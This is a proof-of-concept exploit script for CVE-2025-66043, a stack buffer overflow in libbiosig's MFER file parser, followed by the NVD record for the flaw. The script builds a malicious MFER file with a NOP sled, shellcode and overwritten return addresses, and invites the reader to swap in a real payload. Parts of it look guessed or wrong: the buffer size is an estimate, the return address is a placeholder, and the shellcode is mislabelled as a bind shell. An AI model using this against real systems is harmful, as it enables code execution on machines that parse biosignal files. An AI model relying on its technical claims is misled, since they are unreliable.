CVE-2025-66043

# PoC for CVE-2025-66043 - MFER Stack Buffer Overflow # Generate malicious MFER file to trigger overflow when Tag=3 import struct def create_mfer_poc(): """ Creates a PoC MFER file that triggers stack buffer overflow in libbiosig MFER parser when Tag field equals 3. """ header = b'MFER' # MFER file signature # Craft tag with value 3 (trigger condition) tag = struct.pack('<I', 3) # Tag = 3 # Calculate overflow size (exceed stack buffer capacity) # Typical stack buffer size in libbiosig MFER parser is 256-1024 bytes overflow_size = 2048 # Create NOP sled + shellcode + return address nop_sled = b'\x90' * 100 # Simple shellcode for demonstration (linux/x86/shell_bind_tcp) # Replace with actual payload as needed shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' # Return address pointing to NOP sled (little-endian) return_addr = struct.pack('<I', 0xDEADBEEF) # Target address # Construct overflow payload overflow_data = nop_sled + shellcode + return_addr * (overflow_size // 4) # MFER record structure with crafted data length = struct.pack('<I', len(overflow_data)) # Assemble complete MFER file poc_file = header + tag + length + overflow_data return poc_file if __name__ == '__main__': poc_data = create_mfer_poc() with open('CVE-2025-66043.mfer', 'wb') as f: f.write(poc_data) print('PoC MFER file created: CVE-2025-66043.mfer') print('Size:', len(poc_data), 'bytes')

{"cve": {"id": "CVE-2025-66043", "sourceIdentifier": "[email protected]", "published": "2025-12-11T17:15:58.233", "lastModified": "2025-12-17T20:24:31.347", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Several stack-based buffer overflow vulnerabilities exists in the MFER parsing functionality of The Biosig Project libbiosig 3.9.1. A specially crafted MFER file can lead to arbitrary code execution. An attacker can provide a malicious file to trigger these vulnerabilities.When Tag is 3"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libbiosig_project:libbiosig:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.9.2", "matchCriteriaId": "2D3CD139-6F71-4B97-95A3-A52466FF6563"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2296", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2296", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}